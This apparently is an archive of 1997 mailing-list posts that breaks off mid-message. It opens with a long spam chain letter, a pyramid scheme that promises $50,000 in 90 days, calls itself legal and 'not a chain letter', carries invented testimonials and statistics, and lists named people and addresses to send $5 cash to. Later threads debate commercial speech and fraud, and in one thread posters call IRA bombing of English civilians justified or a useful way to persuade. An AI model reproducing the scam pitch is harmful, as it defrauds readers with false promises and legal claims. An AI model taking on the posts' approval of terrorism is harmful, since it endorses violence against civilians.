From $$$$$opportunity at denmark.it.earthlink.net  Mon Jun  9 00:04:29 1997
From: $$$$$opportunity at denmark.it.earthlink.net ($$$$$opportunity at denmark.it.earthlink.net)
Date: Mon, 9 Jun 1997 00:04:29 -0700 (PDT)
Subject: $$$$$opportunity
Message-ID: <199706090527.WAA15693@denmark.it.earthlink.net>



Dear friend,

June 1997.  Mark your calender.  This is no joke and I'm
not here to waste your 
time, so pay close attention.  I didn't originate this,
but I sent it.  The plan is 
SIMPLE, and actually WORKS, for one reason only:  "32
cents"  

By this I mean a lack thereof...no letters to mail.  Only
a few strokes of your
keyboard and a few thousand emails moving at the speed of
light, basically 
for FREE, other than your internet access fee.  It's
started with VERY MINIMAL 
outlay ($20) and the income return will have you laughing
in DISBELIEF all the
way to the bank.  Do it now or hear about it later...read
on please, and thank me 
when you make your first $1000....

Talk to you in eight weeks...
 
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
 <>
You are about to make at least $50,000 - In less than 90
days.  Read the
enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
 <>
 
The enclosed information is something I almost let slip
through my fingers.
Fortunately, sometime later I re-read everything and gave
some thought and
study to it.
 
My name is Christopher Erickson.  Two years ago, the
corporation I worked at
for the past twelve years down-sized and my position was
eliminated.  After
unproductive job interviews,  I decided to open my own
business.  Over the
past year, I incurred many unforeseen financial problems.
I owed my family,
friends, and creditors over $35,000.  The economy was
taking a toll on my
business and I just couldn't seem to make ends meet.  I
had to refinance and
borrow against my home to support my family and struggling
business.  I
truly believe it was wrong for me to be in debt like this.
 AT THAT MOMENT
something significant happened in my life and I am writing
to share my
experience in hopes that this will change your life
FOREVER....FINANCIALLY!!!
 
In mid-December, I received this program via email.  Six
months prior to
receiving this program I had been sending away for
information on various
business opportunities.  All of the programs I received,
in my opinion, were
not cost effective.  They were either too difficult for me
to comprehend or
the initial investment was too much for me to risk to see
if they worked or
not.  One claimed I'd make a million dollars in one
year...it didn't tell me
I'd have to write a book to make it.
 
But like I was saying, in December of '95 I received this
program.  I didn't
send for it, or ask for it, they just got my name off a
mailing list.  THANK
GOODNESS FOR THAT!!!  After reading it several times, to
make sure I was
reading it correctly, I couldn't believe my eyes.  Here
was a MONEY-MAKING 
PHENOMENON.  I could invest as much as I wanted to start,
without putting 
me further in debt.  After I got a pencil and paper and
figured it out, I would at
least get my money back.  After determining that the
program is LEGAL and
NOT A CHAIN LETTER, I decided "WHY NOT".
 
Initially I sent out 10,000 emails.  It only cost me about
$15.00 for my
time on-line.  The great thing about email is that I
didn't need any money
for printing to send out the program, only the cost to
fulfill my orders.  I
am telling you like it is, I hope it doesn't turn you off,
but I promised
myself that I would not "rip-off" anyone, no matter how
much money it cost me!
 
A good program to help do this is Ready Aim Fire, an email
extracting and
mass mail program at:

 http://microsyssolutions.com/
  
In less than one week, I was starting to receive orders
for REPORT #1. By
January 13th, I had received 26 orders for REPORT #1.
When you read the
GUARANTEE in the program, you will see that "YOU MUST
RECEIVE 15 TO 20
ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,
SEND OUT
MORE PROGRAMS UNTIL YOU DO!"  My first step in making
$50,000 in 20 to 90 
days was done.  By January 30th, I had received 196 orders
for REPORT #2.  If 
you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR
MORE ORDERS
FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE
PROGRAMS
UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS, THE REST IS EASY,
RELAX, 
YOU WILL MAKE YOUR $50,000 GOAL."

Well, I had 196 orders for REPORT #2, 96 more than I
needed.  So I sat back
and relaxed.  By March 19th, of my emailing of 10,000, I
received $58,000
with more coming in every day.
 
I paid off  ALL my debts and bought a much needed new car.
 Please take time
to read the attached program, IT WILL CHANGE YOUR LIFE
FOREVER!
Remember,  it wont work  if you don't try it.  This
program does work, but
you must follow it EXACTLY!  Especially the rules of not
trying to place
your name in a different place.  It doesn't work, you'll
lose out on a  lot
of  money!  REPORT  #2  explains this.  Always follow the
guarantee, 15 to
20  orders  for REPORT #1, and 100 or more orders for
REPORT #2 and you will
make  $50,000 or more in 20 to 90 days.  I AM LIVING PROOF
THAT IT WORKS !!!
 
If you choose not to participate in this program, I'm
sorry.  It really is a
great opportunity with little cost or risk to you.  If you
choose to
participate, follow the program and you will be on your
way to financial
security.
 
If you are a fellow business owner and you are in
financial trouble like I
was, or you want to start your own business, consider this
a sign.  I DID!
 
                                Sincerely,
                                Christopher Erickson
 
PS  Do you have any idea what 11,700 $5 bills ($58,000)
look like piled up
on a kitchen table? IT'S AWESOME!
 
"I THREW IT AWAY"
"I  had  received  this program before.  I  threw  it
away, but later
wondered if I shouldn't have given it a try.  Of course, I
had no idea who
to contact to get a copy, so I had to wait until I was
emailed another copy
of the program.  Eleven months passed, then it came.  I
DIDN'T throw this
one away.  I made $41,000 on the first try."
 
                                        Dawn W.,
Evansville, IN
 
"NO FREE LUNCH"
"My late father always told me, 'remember, Alan, there is
no free lunch in
life.  You get out of life what you put into it.'  Through
trial  and error
and a somewhat slow frustrating start, I finally figured
it out. The program
works very well, I just had to find the right target group
of people to
email it to.  So far this year, I have made over $63,000
using this program.
I know my dad would have been very proud of me."
 
                                        Alan B.,
Philadelphia, PA
 
A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM
 
By the time you have read the enclosed information and
looked over the
enclosed program and reports, you should have concluded
that such a program,
and  one that is legal,  could not have been created by an
amateur.
Let me tell you a little about myself.  I had a profitable
business for ten
years.  Then in 1979 my business began falling off.  I was
doing the same
things that were previously successful for me, but it
wasn't working.
Finally, I figured it out.  It wasn't me, it was the
economy. Inflation and
recession had replaced the stable economy that had been
with us since 1945.
I don't have to tell you what happened to the unemployment
rate...because
many of you know from first hand  experience. There were
more failures and
bankruptcies than ever before.
 
The middle class was vanishing.  Those who knew what they
were doing
invested wisely and moved up.  Those who did not,
including those who never
had anything to save or invest, were moving down into the
ranks of the poor.
As the saying goes, "THE RICH GET RICHER AND THE POOR  GET
POORER."  
The traditional methods of making money will never allow
you to "move up" or
"get rich", inflation will see to that.  You have just
received information that can 
give you financial freedom for the rest of your life, with
"NO RISK" and "JUST A 
LITTLE BIT OF EFFORT."  You can make more money in the
next few months 
than you have ever imagined.
 
I should also point out that I will not see a penny of
your money, nor
anyone else who has provided a testimonial for this
program.  I have already
made over FOUR MILLION DOLLARS!  I have retired from the
program after
sending out over 16,000 programs.  Now I have several
offices which market
this and several other programs here in the US and
overseas.  By the Spring,
we wish to market the 'Internet' by a partnership with
AMERICA ON LINE.
 
Follow the program EXACTLY AS INSTRUCTED.  Do not change
it in any way.
It works exceedingly well as it is now.  Remember to email
a copy of this
exciting program to everyone that you can think of.  One
of the people you
send this to may send out 50,000...and your name will be
on every one of
them!.  Remember though, the more you send out, the more
potential customers
you will reach.
 
So my friend, I have given you the ideas, information,
materials and
opportunity to become financially independent, IT IS UP TO
YOU NOW!
 
"THINK ABOUT IT"
 
Before you delete this program from your mailbox, as I
almost did, take a
little time to read it and REALLY THINK ABOUT IT.  Get a
pencil and figure
out what could happen when YOU participate.  Figure out
the worst possible
response and no matter how you calculate it, you will
still make a lot of
money!  Definitely get back what you invested.  Any doubts
you have will 
vanish when your first orders come in.  IT WORKS!
 
                                        Paul Johnson,
Raleigh, NC
 
HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$
 
Let's say that you decide to start small, just to see how
it goes, and we'll
assume you and all those involved send out 2,000 programs
each. Let's also
assume that the mailing receives a .5% response.  Using a
good list the
response could be much better.  Also many people will send
out hundreds of
thousands of programs instead of 2,000.  But continuing
with this example,
you send out only 2,000 programs.  With a .5% response,
that is only 10
orders for REPORT #1.  Those 10 people respond by sending
out 2,000 programs
each for a total of 20,000.  

Out of those .5%, 100 people respond and order REPORT #2.
Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5%
response to that is
1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a
2,000,000 total.  The .5% response to that is 10,000
orders for REPORT #4.
That's 10,000 five dollar bills for you. CASH!!!!  Your
total income in this
example is $50 + $500 + $5000 +$50,000 for a total of
$55,550!!!!
 
REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000
PEOPLE YOU 
MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS
PROGRAM!  
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE  
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  

Believe me, many people will do that and more!  By the
way, your cost to
participate in this is practically nothing.  You obviously
already have an
internet connection and email is FREE!!!  REPORT #3 will
show you the best
methods for bulk emailing and purchasing email lists.
 
THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It
does not 
require you to come in contact with people, do any hard
work, and best of all, you
never have to leave the house except to get the mail.  If
you believe that
someday you'll get that big break that you've been waiting
for, THIS IS IT!
Simply follow the instructions, and your dream will come
true.  This
multi-level email order marketing program works
perfectly...100% EVERY TIME.
Email is the sales tool of the future.  Take advantage of
this
non-commercialized method of advertising NOW!!  The longer
you wait, the
more people will be doing business using email.  Get your
piece of this action!!
 
MULTI-LEVEL MARKETING (MLM) has finally gained
respectability.  It is being
taught in the Harvard Business School, and both Stanford
Research and The
Wall Street Journal have stated that between 50% and 65%
of all goods and
services will be sold throughout Multi-level Methods by
the mid to late
1990's.  This is a Multi-Billion Dollar industry and of
the 500,000
millionaires in the US, 20% (100,000) made their fortune
in the last several
years in MLM.  Moreover, statistics show 45 people become
millionaires
everyday through Multi-Level Marketing.
 
INSTRUCTIONS
 
We at Erris Mail Order Marketing Business, have a method
of raising capital
that REALLY WORKS 100% EVERY TIME.  I am sure that you
could use 
$50,000 to $125,000 in the next 20 to 90 days.  Before you
say "Bull", please read 
the program carefully.
 
This is not a chain letter, but a perfectly legal money
making opportunity.
Basically, this is what we do:  As with all multi-level
business, we build
our business by recruiting new partners and selling our
products.  Every
state in the USA allows you to recruit new multi-level
business partners,
and we offer a product for EVERY dollar sent. YOUR ORDERS
COME AND ARE
FILLED THROUGH THE MAIL, so you are not involved in
personal selling.  You
do it privately in your own home, store or office.
 
This is the GREATEST Multi-level Mail Order Marketing
anywhere:
 
Step (1)   Order all four 4 REPORTS listed by NAME AND
NUMBER.  Do this by
ordering the REPORT from each of the four 4 names listed
on the next page.
For each REPORT, send $5 CASH and a SELF-ADDRESSED,
STAMPED 
envelope (BUSINESS SIZE #10) to the person listed for the
SPECIFIC REPORT.  
International orders should also include $1 extra for
postage.  It is
essential  that you specify the NAME and NUMBER of the
report requested to
the person you are ordering from.  You will need ALL FOUR
(4) REPORTS
because you will be REPRINTING and RESELLING them.

DO NOT alter the names or sequence other than what the
instructions say.
IMPORTANT:  Always provide same-day service on all orders.
 
Step (2)   Replace  the  name  and  address  under  REPORT
#1  with yours,
moving the one that was there down to REPORT #2.  Drop
the  name and address 
under REPORT #2 to REPORT #3, moving the one that was
there to REPORT #4.  
The name and address that was under REPORT #4 is dropped
from the list and 
this party  is  no doubt on the way to the bank.  When
doing this, make certain you 
type the names and addresses ACCURATELY!  DO NOT MIX UP
MOVING 
PRODUCT/REPORT  POSITIONS!!!
 
Step (3)   Having made the required changes in the NAME
list, save it as a
text (.txt) file in it's own directory to be used with
whatever email
program you like. Again, REPORT #3 will tell you the best
methods of bulk
emailing and acquiring email lists. Step (4)   Email a
copy of the entire
program (all of this is very important) to everyone whose
address you can
get your hands on. Start with friends and relatives since
you can encourage
them to take advantage of this  fabulous  money-making
opportunity. that's
what I did.  And they love me now, more than ever. Then,
email to anyone and
everyone!  Use your imagination! You can get email
addresses from companies
on the internet who specialize in email mailing lists.
These are very
cheap, 100,000 addresses for around $35.00.
 
IMPORTANT:  You won't get a good response if you use an
old list, so always
request a FRESH, NEW list. You will find out where to
purchase these lists
when you order the four 4 REPORTS.
 
ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
 
REQUIRED REPORTS
 
***Order each REPORT by NUMBER and NAME***
 
ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
________________________________________________________
REPORT #1
"SURVIVAL TIPS FOR SMALL BUSINESSES"
 
ORDER REPORT #1 FROM:
 
MARK BLACK
718 FOREST AVE
LARCHMONT, NY 10538
________________________________________________________
REPORT #2
"HOW AND WHERE TO ADVERTISE"
 
ORDER REPORT #2 FROM:
 
MARYANNE BRUNO
411 WESTCHESTER AVE
APT 2K
PORTCHESTER, NY 10573
________________________________________________________
REPORT #3
"SECRETS TO SUCCESSFULLY STARTING YOUR OWN BUSINESS"
 
ORDER REPORT #3 FROM:
 
CARMELA BRUNO
30-21 70 STREET
JACKSON HEIGHTS, NY 11370
________________________________________________________
REPORT #4
"BIG DOLLARS IN YOUR MAILBOX"
 
ORDER REPORT #4 FROM:

MIKE BLACK
411 WESTCHESTER AVE APT 2K
PORTCHESTER, NY 10573

_______________________________________________________
 
CONCLUSION
 
I am enjoying my fortune that I made by sending out this
program. You too,
will be making money in 20 to 90 days, if you follow the
SIMPLE STEPS
outlined in this mailing.
 
To be financially independent is to be FREE.  Free to make
financial
decisions as never before.  Go into business, get into
investments, retire
or take a vacation.  No longer will a lack of money hold
you back.
 
However, very few people reach financial independence,
because when
opportunity knocks, they choose to ignore it.  It is much
easier to say "NO"
than "YES", and this is the question that you must answer.
 Will YOU ignore
this amazing opportunity or will you take advantage of it?
If you do
nothing, you have indeed missed something and nothing will
change.  Please
re-read this material, this is a special opportunity. If
you have any
questions, please feel free to write to the sender of this
information.  You
will get a prompt and informative reply.
 
My method is simple.  I sell thousands of people a product
for $5 that costs
me pennies to produce and email.  I should also point out
that this program
is legal and everyone who participates WILL make money.
This is not a chain
letter or pyramid scam.  At times you have probably
received chain letters,
asking you to send money, on faith, but getting NOTHING in
return, NO
product what-so-ever!  Not only are chain letters illegal,
but the risk of
someone breaking the chain makes them quite unattractive.
 
You are offering a legitimate product to your people.
After they purchase
the product from you, they reproduce more and resell them.
It's simple free
enterprise.  As you learned from the enclosed  material,
the PRODUCT is a
series of four 4 FINANCIAL AND BUSINESS REPORTS.  
The information contained in these REPORTS will not only
help you in making
your participation in this program more rewarding, but
will be useful to you
in any other business decisions you make in the years
ahead. You are also
buying the rights to reprint all of the REPORTS, which
will be ordered from
you by those to whom you mail this program.  The concise
one and two page
REPORTS you will be buying can easily be reproduced at a
local copy center
for a cost off about 3 cents a copy.
Best wishes with the program and Good Luck!
 
"IT WAS TRULY AMAZING"
 
"Not being the gambling type, it took me several weeks to
make up my mind to
participate in this program.  But conservative as I am, I
decided that the
initial investment was so little that there was no way
that I could not get
enough orders to at least get my money back.  BOY, was I
ever surprised when
I found my medium sized post office box crammed with
orders!  I will make
more money this year than any ten years of my life
before."
 
                                        Mary Riceland,
Lansing, MI
 
TIPS FOR SUCCESS
 
Send for your four 4 REPORTS immediately so you will have
them when the
orders start coming in.  When you receive a $5 order, you
MUST send out the
product/service to comply with US Postal and Lottery laws.
 Title 18
Sections 1302 and 1341 specifically state that:  "A
PRODUCT OR SERVICE 
MUST BE EXCHANGED FOR MONEY RECEIVED."
 
WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:
 
1.        Name your new company. You can use your own name
if you desire.
 
2.        Get a post office box (preferred).
 
3.        Edit the names and addresses on the program. You
must remember,
           your name and address go next to REPORT #1 and
the others all
           move down one, with the fourth one being bumped
OFF the list.
 
4.        Obtain as many email addresses as possible to
send until you
           receive the information on mailing list
companies in REPORT #3.
 
5.        Decide on the number of programs you intend to
send out.  The more you
           send, and the quicker you send them, the more
money  you will make.
 

6.        After mailing the programs, get ready to fill
the orders.
 
7.        Copy the four 4 REPORTS so you are able to sent
them out as soon as you
           receive an order. IMPORTANT: ALWAYS PROVIDE
SAME-DAY SERVICE  
           ON ORDERS YOU RECEIVE!
 
8.        Make certain the letter and reports are neat and
legible.
 
YOUR GUARANTEE
 
The check point which GUARANTEES your success is simply
this:  you must
receive 15 to 20 orders for REPORT #1.  This is a must!!!
If you don't
within two weeks, email out more programs until you do.
Then a couple of
weeks later you should receive at least 100 orders for
REPORT #2, if you
don't, send out more programs until you do.  Once you have
received 100 or
more orders for REPORT #2, (take a deep breath) you can
sit back and  relax,
because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000.
Mathematically  it
is  a  proven  guarantee.   Of  those  who  have
participated in the program
and reached the above GUARANTEES-ALL have reached their
$50,000 goal.  

Also, remember, every time your name is moved down the
list you are in front of a
different REPORT, so you can keep track of your program by
knowing what
people are ordering from you. IT'S THAT EASY, REALLY, IT
IS!!!
 
REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."










From paul at fatmans.demon.co.uk  Sun Jun  8 09:13:33 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 9 Jun 1997 00:13:33 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: 
Message-ID: 




> > Well I can only see this as a good thing. :)
> >
> > It is the people of England that support that illegal occupation of Irish
> > soil by Brittish troops. It is only right that they should have to suffer
> > the consequences.
> 
> Paul,
> 
> The reason why the IRA bombs (or threatens to bomb) targets all over the UK
> is that they want to make the voting public so sick and tired of the status
> quo in NI that they'll demand a pull-out, which is just what the IRA wants.

Yes, I think you will also find that most people in mainland England 
don`t really have an opinion one way or the other, they vaguely feel that 
the British should pull out of NI because they want to stop the bombings, 
they also vaguely feel that would be giving in to "terrorists".

> The UK is a democracy - supposedly it's up to the voters to decide if they
> want the UK to stay in NI, so the voters are being "persuaded".
> 
> The PLO used a similar successful strategy to convince Israeli voters to
> agree to peace talks.

One of the reasons I don`t really have a strong opinion one way or the 
other about the NI question is because I believe a British withdrawal 
would simply result in the replacement of one set of corrupt political 
rulers with another. The Irish parliament is no better than any other 
government, no suprise there.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From paul at fatmans.demon.co.uk  Sun Jun  8 09:22:25 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 9 Jun 1997 00:22:25 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: <19970608065652.41575@bywater.songbird.com>
Message-ID: 




> The prospectus is a legal document -- part of the contract between the
> mutual fund and the customer. 
> 
> So, the question is, should there be any legal constraints on the 
> "speech" in contracts?  

Of course, a contract is a binding document, that does not imply that 
there should be any legal constraint on the speech within that contract. 
If I sign a contract which says that I must kill myself on demand, and 
the penalty for breach of contract in this case is a fine of say $5000, I 
am certainly stupid if I sign such a contract, assuming that is that I am 
logical and not suicidal, I must later decide if I value my life at over 
$5000, I assure you, this is not a difficult question to answer ;-).

The point is that breach of contract shouldn`t be a criminal offence, it 
is a civil offence, and the penalties for breach of contract should be 
agreed during negotiation of that contract. Therefore, I must evaluate 
for myself if I consider the contract to be reasonable and if I consider 
the penalties for breach of that contract too great to risk incurring 
such penaties. There is no reason to suggest that contractural speech is 
protected in this fashion, as it is an agreement and not pure speech.

>Can I sign a contract, and later be able to 
> say "Oh, *that* clause!  That was just a *joke*"?

This is a straw man, there is no way you can equate contractural speech 
and other forms of speech, one takes the form of an agreement, the civil 
crime commited on breach of contract is not a form of speech, it is an 
overt act which breaks that contract. 

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From dlv at bwalk.dm.com  Sun Jun  8 09:26:50 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 00:26:50 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: <19970608071045.57576@bywater.songbird.com>
Message-ID: 



Kent Crispin  writes:

> On Sun, Jun 08, 1997 at 08:42:49AM -0500, Dr.Dimitri Vulis KOTM wrote:
> > "William H. Geiger III"  writes:
> >
> > > In <199706071754.MAA01524 at manifold.algebra.com>, on 06/07/97
> > >    at 12:54 PM, ichudov at Algebra.COM (Igor Chudov @ home) said:
> > >
> > > >There is a lot of commercial compelled speech. For example,
> > > >mutual funds must say that past performance is not a guarantee of future
> > > >results.
> > >
> > > >Do you find this kind of compelled speech unconstitutional?
> > >
> > > Well I don't know how Duncan feels about it but I think it's highly
> > > unconstutional.
> >
> > I can still publish a book and claim that borshch (Russian beet soup)
> > cures cancer.  However if I also offer to sell beets my mail order,
> > the FDA can bite me. It's "constitutional" because it protects the
> > olygopoly of the large drug companies with political connections.
>
> Drug regulation muddies the waters quite a bit -- the issue is
> commercial speech in general.  And that issue is a more basic one --
> some entity (the government, in this case) is designated as the
> "enforcer of contracts".  Contracts are special documents that by

Actually, in the European legal tradition, a prince/potentate only
assumed the responsibility to enforce a contract if that was explicitly
specified when the contract was entered, and often required a separate
fee. (Similarly, treaties between sovereigns called on various deities
to rnforce the contract.) In Russia during the Mongol times two folks
could enter a contract and choose to have the prince of Kiev, or Vladimir,
or Novgorod, or some other enforce it, and pay that prince a fee.
Then one of the parties could sue in that prince's court. A curious
system developed by the time the Russian gumbint got centralized around
Moscow - tsar's court sold special stamped paper which could be used
for contracts, promissory notes, etc. For a contract to be enforceable,
it had to be written on this paper. Only those who entered contracts
were paying for the upkeep of the enforcement mechanism.

Note that it wasn't necessary to register the contract with the
gubmint to make it enforceable (I think, this was a part of the stamp
act in the colonies).

> their very nature involve "enforcement".  What you say in a contract
> binds you.  What you say outside of a contract does not.  What you say
> in a contract is, therefore, and by definition, not "free".

When a tobacco company says in an ad, "Joe Camel is cool", what kind
of contractual obligations does it assume?

Have you ever bought a used car, Kent?  Have you seen the language in
the contract that throws out whatever promises the saleguy made that
are not a part of the contract? If I claim on Usenet that borshch
cures cancer, who are the counterparties, and what consideration do
I get?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sun Jun  8 09:28:42 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 00:28:42 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: 
Message-ID: 



Paul Bradley  writes:

> > The prospectus is a legal document -- part of the contract between the
> > mutual fund and the customer.
> >
> > So, the question is, should there be any legal constraints on the
> > "speech" in contracts?
>
> Of course, a contract is a binding document, that does not imply that
> there should be any legal constraint on the speech within that contract.
> If I sign a contract which says that I must kill myself on demand, and
> the penalty for breach of contract in this case is a fine of say $5000, I
> am certainly stupid if I sign such a contract, assuming that is that I am
> logical and not suicidal, I must later decide if I value my life at over
> $5000, I assure you, this is not a difficult question to answer ;-).

I don't know how they phrase it in the UK, but in the US such a contract
would violate "public policy" and is therefore unenforceable.

> The point is that breach of contract shouldn`t be a criminal offence, it
> is a civil offence, and the penalties for breach of contract should be
> agreed during negotiation of that contract. Therefore, I must evaluate
> for myself if I consider the contract to be reasonable and if I consider
> the penalties for breach of that contract too great to risk incurring
> such penaties. There is no reason to suggest that contractural speech is
> protected in this fashion, as it is an agreement and not pure speech.
>
> >Can I sign a contract, and later be able to
> > say "Oh, *that* clause!  That was just a *joke*"?
>
> This is a straw man, there is no way you can equate contractural speech
> and other forms of speech, one takes the form of an agreement, the civil
> crime commited on breach of contract is not a form of speech, it is an
> overt act which breaks that contract.

That's a very good point.  If I commit assault/battery on Kent, the
gubmint supposedly has jurisdiction because I've violated "king's peace".

If I advertise that "borshch cures cancer" and Kent buys some borshch
from me, and dies from cancer anyway, then what's the basis for the
gubmint's involvement?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sun Jun  8 09:31:56 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 00:31:56 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: 
Message-ID: <4omZ8D34w165w@bwalk.dm.com>



Paul Bradley  writes:
> > The reason why the IRA bombs (or threatens to bomb) targets all over the UK
> > is that they want to make the voting public so sick and tired of the status
> > quo in NI that they'll demand a pull-out, which is just what the IRA wants.
>
> Yes, I think you will also find that most people in mainland England
> don`t really have an opinion one way or the other, they vaguely feel that
> the British should pull out of NI because they want to stop the bombings,
> they also vaguely feel that would be giving in to "terrorists".

If the people in mainland England (and Scotland and Wales) are imprevious
to rational arguments (like, the UK should get the fuck out of NI because
they have no business being there :-) then perhaps that'll listen to
terrorism.  Perhaps not - such tactics seem to work better on some ethic
groups than on others, the the English took worse shit from the Germans
in WW II.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From paul at fatmans.demon.co.uk  Sun Jun  8 09:41:05 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 9 Jun 1997 00:41:05 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: 
Message-ID: 




> 
> Troll: and how about them proposed restrictions on tobacco advertising...
> 

Troll-Response: The UK government has recently proposed a ban on all 
tobacco advertising (should be in place within a few months) including 
sponsorship of sport etc. Time to dust of the barbeque, we`re gonna have 
us a statist roast ;-)...

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From wombat at mcfeely.bsfs.org  Sun Jun  8 09:44:31 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Mon, 9 Jun 1997 00:44:31 +0800
Subject: Steak Knife Decryption
In-Reply-To: 
Message-ID: 





On Sat, 7 Jun 1997, Cyberdog wrote:

> >On Fri, 6 Jun 1997, Mike Duvos wrote:
> >
> >> An interesting twist on rubber hose decryption in the case of the
> >> murder of Jonathan Levin, son of the top executive of media
> >> giant Time Warner.
> >>
> >> Police believe his ATM card was stolen, and he was then jabbed
> >> with a steak knife until he revealed the PIN.
> >>
> >
> >A "duress" PIN which cancels the account would be a good addition;
> >similar to the "duress" code on home security systems that appear to
> >disarm the alarm but send a silent alarm to the monitoring station.
> >
> >-r.w.
> 
> I would want my account to remain active but instruct the machine to
> dispense marked cash in case I'm outside in the trunk.
> 

Excellent idea, but a lot harder to implement than simply having the 
system return a message that stated that your account is "overdrawn", and 
then notifying the security organization of your choice.

"Dude. I told ya, I don't have more than $10 in that account ..., just 
paid my rent/ alimony/ child-support/ bookie / parking tickets ... "

Since the criminal will no doubt be aware of this tactic, they'll be in 
the position of determining if the victim is lying about their lack of 
assets, or is using the security code. Will they be willing to risk 
murder against the possibility that the victim can be persuaded to give 
up the "real" number when other options are available? Possible, yes, but 
the average petty street criminal is looking for an easier mark.

-r.w.






From whgiii at amaranth.com  Sun Jun  8 09:47:16 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 9 Jun 1997 00:47:16 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: 
Message-ID: <199706081636.LAA05963@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 06/08/97 
   at 12:11 PM, dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>If I advertise that "borshch cures cancer" and Kent buys some borshch
>from me, and dies from cancer anyway, then what's the basis for the
>gubmint's involvement?

Fraud, which is just a special case of theift (theift by deception).

What you are selling is not borshch but a cure for cancer (which happens
to be borshch). Since your cure does not work this is seen as fraud which
is theift and thus the government steps in.

No if some disintrested 3rd party claims that borshch cures cancer, and
you sell borshch, there is no fraud if the borshch does not cure cancer as
you are just selling borshch which is all the you claimed it was. The 3rd
party is not guilty of fraud as they have not entered into any contractual
agreement with the buyer of the borshch.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5rgX49Co1n+aLhhAQG9bwP/Q46+dwF77JSAK0dwzWNsXR49eh+eLQjN
DJIEt+kZ3TFygLSSPGnqK7U7wpwXOhyTRrAEW9HqtWMph0Qu+EwqOGcKfwFmIptL
D0Qc/lGAUZ6ohqHDVSBDLLLyCSFe4Ra4YYRDHbpLp0QNsK9pq/B++YDWKPEHCK2K
UR0l/HrYm5g=
=NVy0
-----END PGP SIGNATURE-----






From dlv at bwalk.dm.com  Sun Jun  8 09:47:53 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 00:47:53 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706081538.KAA04719@mailhub.amaranth.com>
Message-ID: 



"William H. Geiger III"  writes:
